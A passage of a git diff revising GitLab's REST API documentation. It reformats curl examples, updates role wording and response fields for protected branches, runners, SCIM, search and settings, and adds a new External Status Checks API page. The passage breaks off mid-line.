100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -22,7 +22,7 @@ The access levels are defined in the `ProtectedRefAccess.allowed_access_levels` ## List protected branches -Gets a list of protected branches from a project. +Gets a list of protected branches from a project as they are defined [in the UI](../user/project/protected_branches.md#configure-a-protected-branch). If a wildcard is set, it is returned instead of the exact name of the branches that match that wildcard. ```plaintext GET /projects/:id/protected_branches @@ -59,6 +59,24 @@ Example response: "allow_force_push":false, "code_owner_approval_required": false }, + { + "id": 1, + "name": "release/*", + "push_access_levels": [ + { + "access_level": 40, + "access_level_description": "Maintainers" + } + ], + "merge_access_levels": [ + { + "access_level": 40, + "access_level_description": "Maintainers" + } + ], + "allow_force_push":false, + "code_owner_approval_required": false + }, ... ] ``` @@ -183,10 +201,10 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the branch or wildcard | -| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, maintainer access level) | -| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, maintainer access level) | -| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, maintainer access level) | -| `allow_force_push` | boolean | no | Allow force push for all users with push access. (defaults: false) | +| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, Maintainer role) | +| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, Maintainer role) | +| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, Maintainer role) | +| `allow_force_push` | boolean | no | Allow all users with push access to force push. (default: `false`) | | `allowed_to_push` | array | no | **(PREMIUM)** Array of access levels allowed to push, with each described by a hash | | `allowed_to_merge` | array | no | **(PREMIUM)** Array of access levels allowed to merge, with each described by a hash | | `allowed_to_unprotect` | array | no | **(PREMIUM)** Array of access levels allowed to unprotect, with each described by a hash | diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md index 487537cd3f5..52fcdad1ad6 100644 --- a/doc/api/protected_environments.md +++ b/doc/api/protected_environments.md @@ -96,7 +96,10 @@ POST /projects/:id/protected_environments ``` ```shell -curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/22034114/protected_environments" +curl --header 'Content-Type: application/json' --request POST \ + --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' \ + --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/22034114/protected_environments" ``` | Attribute | Type | Required | Description | diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md index 63fa7183aab..e04f418258d 100644 --- a/doc/api/protected_tags.md +++ b/doc/api/protected_tags.md @@ -102,7 +102,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the tag or wildcard | -| `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, maintainer access level) | +| `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, Maintainer role) | Example response: diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index bc37f1aa0a9..0cbf613c598 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -542,7 +542,8 @@ PUT /projects/:id/releases/:tag_name Example request: ```shell -curl --header 'Content-Type: application/json' --request PUT --data '{"name": "new name", "milestones": ["v1.2"]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1" +curl --header 'Content-Type: application/json' --request PUT --data '{"name": "new name", "milestones": ["v1.2"]}' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1" ``` Example response: diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md index 911aa8bbbd0..f4a2df5558f 100644 --- a/doc/api/releases/links.md +++ b/doc/api/releases/links.md @@ -148,7 +148,9 @@ You have to specify at least one of `name` or `url` Example request: ```shell -curl --request PUT --data name="new name" --data link_type="runbook" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1/assets/links/1" +curl --request PUT --data name="new name" --data link_type="runbook" \ + --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/24/releases/v0.1/assets/links/1" ``` Example response: diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index c85454d66ee..5e5b44fec8a 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -71,7 +71,8 @@ POST /projects/:id/remote_mirrors Example request: ```shell -curl --request POST --data "url=https://username:token@example.com/gitlab/example.git" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/42/remote_mirrors" +curl --request POST --data "url=https://username:token@example.com/gitlab/example.git" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/42/remote_mirrors" ``` Example response: diff --git a/doc/api/repositories.md b/doc/api/repositories.md index 857cd3883c8..1868f33373c 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -311,6 +311,11 @@ Supported attributes: | `file` | string | no | The file to commit the changes to, defaults to `CHANGELOG.md`. | | `message` | string | no | The commit message to produce when committing the changes, defaults to `Add changelog for version X` where X is the value of the `version` argument. | +WARNING: +GitLab treats trailers case-sensitively. If you set the `trailer` field to +`Example`, GitLab _won't_ include commits that use the trailer `example`, +`eXaMpLE`, or anything else that isn't _exactly_ `Example`. + If the `from` attribute is unspecified, GitLab uses the Git tag of the last stable version that came before the version specified in the `version` attribute. This requires that Git tag names follow a specific format, allowing diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md index 70b804c368e..0dc50543f1e 100644 --- a/doc/api/repository_files.md +++ b/doc/api/repository_files.md @@ -183,10 +183,11 @@ POST /projects/:id/repository/files/:file_path ``` ```shell -curl --request POST --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \ - --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ - "content": "some content", "commit_message": "create a new file"}' \ - "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" +curl --request POST --header 'PRIVATE-TOKEN: <your_access_token>' \ + --header "Content-Type: application/json" \ + --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ + "content": "some content", "commit_message": "create a new file"}' \ + "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" ``` Example response: @@ -218,10 +219,11 @@ PUT /projects/:id/repository/files/:file_path ``` ```shell -curl --request PUT --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \ - --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ - "content": "some content", "commit_message": "update file"}' \ - "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" +curl --request PUT --header 'PRIVATE-TOKEN: <your_access_token>' \ + --header "Content-Type: application/json" \ + --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ + "content": "some content", "commit_message": "update file"}' \ + "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" ``` Example response: @@ -253,7 +255,7 @@ error message. Possible causes for a failed commit include: user tried to make an empty commit; - the branch was updated by a Git push while the file edit was in progress. -Currently GitLab Shell has a boolean return code, preventing GitLab from specifying the error. +GitLab Shell has a boolean return code, preventing GitLab from specifying the error. ## Delete existing file in repository @@ -264,10 +266,11 @@ DELETE /projects/:id/repository/files/:file_path ``` ```shell -curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \ - --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ - "commit_message": "delete file"}' \ - "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" +curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' \ + --header "Content-Type: application/json" \ + --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \ + "commit_message": "delete file"}' \ + "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb" ``` Parameters: diff --git a/doc/api/resource_access_tokens.md b/doc/api/resource_access_tokens.md index ecc5b3bf172..3b443dbb8f8 100644 --- a/doc/api/resource_access_tokens.md +++ b/doc/api/resource_access_tokens.md @@ -10,7 +10,7 @@ You can read more about [project access tokens](../user/project/settings/project ## List project access tokens -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. Get a list of project access tokens. @@ -20,7 +20,7 @@ GET projects/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID of the project | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens" @@ -45,7 +45,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ## Create a project access token -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55408) in GitLab 13.10. Create a project access token. @@ -55,9 +55,9 @@ POST projects/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID of the project | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `name` | String | yes | The name of the project access token | -| `scopes` | Array\[String] | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) | +| `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) | | `expires_at` | Date | no | The token expires at midnight UTC on that date | ```shell @@ -86,7 +86,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ ## Revoke a project access token -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. Revoke a project access token. @@ -96,8 +96,8 @@ DELETE projects/:id/access_tokens/:token_id | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID of the project | -| `token_id` | integer/string | yes | The ID of the project access token | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | +| `token_id` | integer or string | yes | The ID of the project access token | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens/<token_id>" diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md index 0c1735c0664..5fc7a0a52bd 100644 --- a/doc/api/resource_label_events.md +++ b/doc/api/resource_label_events.md @@ -1,12 +1,13 @@ --- stage: Manage -group: Compilance +group: Compliance info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Resource label events API +# Resource label events API **(FREE)** -Resource label events keep track about who, when, and which label was added to, or removed from, an issuable. +Resource label events keep track about who, when, and which label was added to (or removed from) +an issue, merge request, or epic. ## Issues diff --git a/doc/api/runners.md b/doc/api/runners.md index 1f0209c3cae..951e72edcb5 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -41,6 +41,7 @@ GET /runners?scope=active GET /runners?type=project_type GET /runners?status=active GET /runners?tag_list=tag1,tag2 +GET /runners?search=gitlab ``` | Attribute | Type | Required | Description | @@ -49,6 +50,7 @@ GET /runners?tag_list=tag1,tag2 | `type` | string | no | The type of runners to show, one of: `instance_type`, `group_type`, `project_type` | | `status` | string | no | The status of runners to show, one of: `active`, `paused`, `online`, `offline` | | `tag_list` | string array | no | List of the runner's tags | +| `search` | string | no | The full token or partial description text to match | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners" @@ -62,8 +64,9 @@ Example response: "active": true, "description": "test-1-20150125", "id": 6, - "is_shared": false, "ip_address": "127.0.0.1", + "is_shared": false, + "runner_type": "project_type", "name": null, "online": true, "status": "online" @@ -74,6 +77,7 @@ Example response: "id": 8, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "group_type", "name": null, "online": false, "status": "offline" @@ -115,6 +119,7 @@ Example response: "id": 1, "ip_address": "127.0.0.1", "is_shared": true, + "runner_type": "instance_type", "name": null, "online": true, "status": "online" @@ -125,6 +130,7 @@ Example response: "id": 3, "ip_address": "127.0.0.1", "is_shared": true, + "runner_type": "instance_type", "name": null, "online": false, "status": "offline" @@ -135,6 +141,7 @@ Example response: "id": 6, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "project_type", "name": null, "online": true, "status": "paused" @@ -145,6 +152,7 @@ Example response: "id": 8, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "group_type", "name": null, "online": false, "status": "offline" @@ -156,7 +164,8 @@ Example response: Get details of a runner. -[Maintainer access or higher](../user/permissions.md) is required to get runner details at the project and group level. +The [Maintainer role or higher](../user/permissions.md) is required to get runner details at the +project and group level. Instance-level runner details via this endpoint are available to all signed in users. @@ -186,6 +195,7 @@ Example response: "id": 6, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "project_type", "contacted_at": "2016-01-25T16:39:48.066Z", "name": null, "online": true, @@ -231,7 +241,8 @@ PUT /runners/:id | `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" \ + --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" ``` NOTE: @@ -248,6 +259,7 @@ Example response: "id": 6, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "group_type", "contacted_at": "2016-01-25T16:39:48.066Z", "name": null, "online": true, @@ -288,7 +300,8 @@ PUT --form "active=false" /runners/:runner_id | `runner_id` | integer | yes | The ID of a runner | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "active=false" "https://gitlab.example.com/api/v4/runners/6" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "active=false" "https://gitlab.example.com/api/v4/runners/6" ``` ## List runner's jobs @@ -417,6 +430,7 @@ Example response: "id": 8, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "project_type", "name": null, "online": false, "status": "offline" @@ -427,6 +441,7 @@ Example response: "id": 5, "ip_address": "127.0.0.1", "is_shared": true, + "runner_type": "instance_type", "name": null, "online": true, "status": "paused" @@ -448,7 +463,8 @@ POST /projects/:id/runners | `runner_id` | integer | yes | The ID of a runner | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/runners" --form "runner_id=9" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/runners" \ + --form "runner_id=9" ``` Example response: @@ -460,6 +476,7 @@ Example response: "id": 9, "ip_address": "127.0.0.1", "is_shared": false, + "runner_type": "project_type", "name": null, "online": true, "status": "online" @@ -518,6 +535,7 @@ Example response: "ip_address": "127.0.0.1", "active": true, "is_shared": true, + "runner_type": "instance_type", "name": "gitlab-runner", "online": null, "status": "not_connected" @@ -528,6 +546,7 @@ Example response: "ip_address": "127.0.0.1", "active": true, "is_shared": true, + "runner_type": "instance_type", "name": "gitlab-runner", "online": false, "status": "offline" @@ -538,6 +557,7 @@ Example response: "ip_address": "127.0.0.1", "active": true, "is_shared": false, + "runner_type": "group_type", "name": "gitlab-runner", "online": null, "status": "not_connected" @@ -566,7 +586,9 @@ POST /runners | `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job | ```shell -curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" +curl --request POST "https://gitlab.example.com/api/v4/runners" \ + --form "token=<registration_token>" --form "description=test-1-20150125-test" \ + --form "tag_list=ruby,mysql,tag1,tag2" ``` Response: @@ -620,7 +642,8 @@ DELETE /runners | `token` | string | yes | The runner's [authentication token](#registration-and-authentication-tokens). | ```shell -curl --request DELETE "https://gitlab.example.com/api/v4/runners" --form "token=<authentication_token>" +curl --request DELETE "https://gitlab.example.com/api/v4/runners" \ + --form "token=<authentication_token>" ``` Response: @@ -642,7 +665,8 @@ POST /runners/verify | `token` | string | yes | Runner's [authentication token](#registration-and-authentication-tokens). | ```shell -curl --request POST "https://gitlab.example.com/api/v4/runners/verify" --form "token=<authentication_token>" +curl --request POST "https://gitlab.example.com/api/v4/runners/verify" \ + --form "token=<authentication_token>" ``` Response: diff --git a/doc/api/scim.md b/doc/api/scim.md index d00a0988d2b..42580ba65b6 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -39,7 +39,9 @@ Pagination follows the [SCIM spec](https://tools.ietf.org/html/rfc7644#section-3 Example request: ```shell -curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" \ + --header "Authorization: Bearer <your_scim_token>" \ + --header "Content-Type: application/scim+json" ``` Example response: @@ -90,7 +92,8 @@ Parameters: Example request: ```shell -curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` Example response: @@ -134,7 +137,9 @@ Parameters: Example request: ```shell -curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/groups/test_group/Users" --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/groups/test_group/Users" \ + --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` Example response: @@ -188,7 +193,9 @@ Parameters: Example request: ```shell -curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` Returns an empty response with a `204` status code if successful. @@ -211,7 +218,8 @@ Parameters: Example request: ```shell -curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` Returns an empty response with a `204` status code if successful. diff --git a/doc/api/search.md b/doc/api/search.md index c8f24c0924a..9714bc17f62 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -54,7 +54,8 @@ Example response: "path_with_namespace": "twitter/flight", "created_at": "2017-09-05T07:58:01.621Z", "default_branch": "master", - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", @@ -177,6 +178,7 @@ Example response: "ruby", "tests" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 13, @@ -475,7 +477,8 @@ Example response: "path_with_namespace": "twitter/flight", "created_at": "2017-09-05T07:58:01.621Z", "default_branch": "master", - "tag_list":[], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", @@ -598,6 +601,7 @@ Example response: "ruby", "tests" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 13, @@ -956,6 +960,7 @@ Example response: "ruby", "tests" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 13, diff --git a/doc/api/services.md b/doc/api/services.md index e658c51f7e6..0a26a88de70 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Services API **(FREE)** NOTE: -This API requires an access token with Maintainer or Owner permissions. +This API requires an access token with the [Maintainer or Owner role](../user/permissions.md). ## List all active services @@ -754,7 +754,7 @@ Set Jira service for a project. > Starting with GitLab 8.14, `api_url`, `issues_url`, `new_issue_url` and > `project_url` are replaced by `url`. If you are using an -> older version, [follow this documentation](https://gitlab.com/gitlab-org/gitlab/blob/8-13-stable-ee/doc/api/services.md#jira). +> older version, [follow this documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/8-13-stable-ee/doc/api/services.md#jira). ```plaintext PUT /projects/:id/services/jira diff --git a/doc/api/settings.md b/doc/api/settings.md index ada1d0e7fc4..8225713fc00 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -241,16 +241,19 @@ listed in the descriptions of the relevant settings. | `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | | `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. | +| `deactivate_dormant_users` | boolean | no | Enable [atomatic deactivation of dormant users](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). | | `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. | | `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. | -| `default_ci_config_path` | string | no | Default CI configuration path for new projects (`.gitlab-ci.yml` if not set). | +| `default_ci_config_path` | string | no | Default CI/CD configuration file and path for new projects (`.gitlab-ci.yml` if not set). | | `default_group_visibility` | string | no | What visibility level new groups receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `default_project_creation` | integer | no | Default project creation protection. Can take: `0` _(No one)_, `1` _(Maintainers)_ or `2` _(Developers + Maintainers)_| | `default_project_visibility` | string | no | What visibility level new projects receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `default_projects_limit` | integer | no | Project limit per user. Default is `100000`. | | `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `deletion_adjourned_period` | integer | no | **(PREMIUM SELF)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90. -| `diff_max_patch_bytes` | integer | no | Maximum diff patch size (Bytes). | +| `diff_max_patch_bytes` | integer | no | Maximum [diff patch size](../user/admin_area/diff_limits.md), in bytes. | +| `diff_max_files` | integer | no | Maximum [files in a diff](../user/admin_area/diff_limits.md). | +| `diff_max_lines` | integer | no | Maximum [lines in a diff](../user/admin_area/diff_limits.md). | | `disable_feed_token` | boolean | no | Disable display of RSS/Atom and calendar feed tokens ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231493) in GitLab 13.7) | | `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. | | `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. | diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index cc7f703f334..3454073cc8c 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -230,8 +230,10 @@ Supported attributes: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/snippets/1/repository_storage_moves" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"destination_storage_name":"storage2"}' \ + "https://gitlab.example.com/api/v4/snippets/1/repository_storage_moves" ``` Example response: @@ -279,8 +281,10 @@ Supported attributes: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"source_storage_name":"default"}' \ + "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" ``` Example response: diff --git a/doc/api/status_checks.md b/doc/api/status_checks.md new file mode 100644 index 00000000000..f4e384a2efb --- /dev/null +++ b/doc/api/status_checks.md @@ -0,0 +1,201 @@ +--- +stage: Manage +group: Compliance +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +type: reference, api +--- + +# External Status Checks API **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +## List status checks for a merge request + +For a single merge request, list the external status checks that apply to it and their status. + +```plaintext +GET /projects/:id/merge_requests/:merge_request_iid/status_checks +``` + +**Parameters:** + +| Attribute | Type | Required | Description | +| ------------------------ | ------- | -------- | -------------------------- | +| `id` | integer | yes | ID of a project | +| `merge_request_iid` | integer | yes | IID of a merge request | + +```json +[ + { + "id": 2, + "name": "Rule 1", + "external_url": "https://gitlab.com/test-endpoint", + "status": "approved" + }, + { + "id": 1, + "name": "Rule 2", + "external_url": "https://gitlab.com/test-endpoint-2", + "status": "pending" + } +] +``` + +## Set approval status of an external status check + +For a single merge request, use the API to inform GitLab that a merge request has been approved by an external service. + +```plaintext +POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses +``` + +**Parameters:** + +| Attribute | Type | Required | Description | +| ------------------------ | ------- | -------- | -------------------------------------- | +| `id` | integer | yes | ID of a project | +| `merge_request_iid` | integer | yes | IID of a merge request | +| `sha` | string | yes | SHA at `HEAD` of the source branch | + +NOTE: +`sha` must be the SHA at the `HEAD` of the merge request's source branch. + +## Enable or disable status checks **(ULTIMATE SELF)** + +Status checks are under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +## Get project external status checks **(ULTIMATE)** + +You can request information about a project's external status checks using the following endpoint: + +```plaintext +GET /projects/:id/external_status_checks +``` + +**Parameters:** + +| Attribute | Type | Required | Description | +|---------------------|---------|----------|---------------------| +| `id` | integer | yes | The ID of a project | + +```json +[ + { + "id": 1, + "name": "Compliance Check", + "project_id": 6, + "external_url": "https://gitlab.com/example/test.json", + "protected_branches": [ + { + "id": 14, + "project_id": 6, + "name": "master", + "created_at": "2020-10-12T14:04:50.787Z", + "updated_at": "2020-10-12T14:04:50.787Z", + "code_owner_approval_required": false + } + ] + } +] +``` + +### Create external status check **(ULTIMATE)** + +You can create a new external status check for a project using the following endpoint: + +```plaintext +POST /projects/:id/external_status_checks +``` + +| Attribute | Type | Required | Description | +|------------------------|----------------|----------|----------------------------------------------------| +| `id` | integer | yes | The ID of a project | +| `name` | string | yes | Display name of status check | +| `external_url` | string | yes | URL of status check resource | +| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by | + +### Delete external status check **(ULTIMATE)** + +You can delete an external status check for a project using the following endpoint: + +```plaintext +DELETE 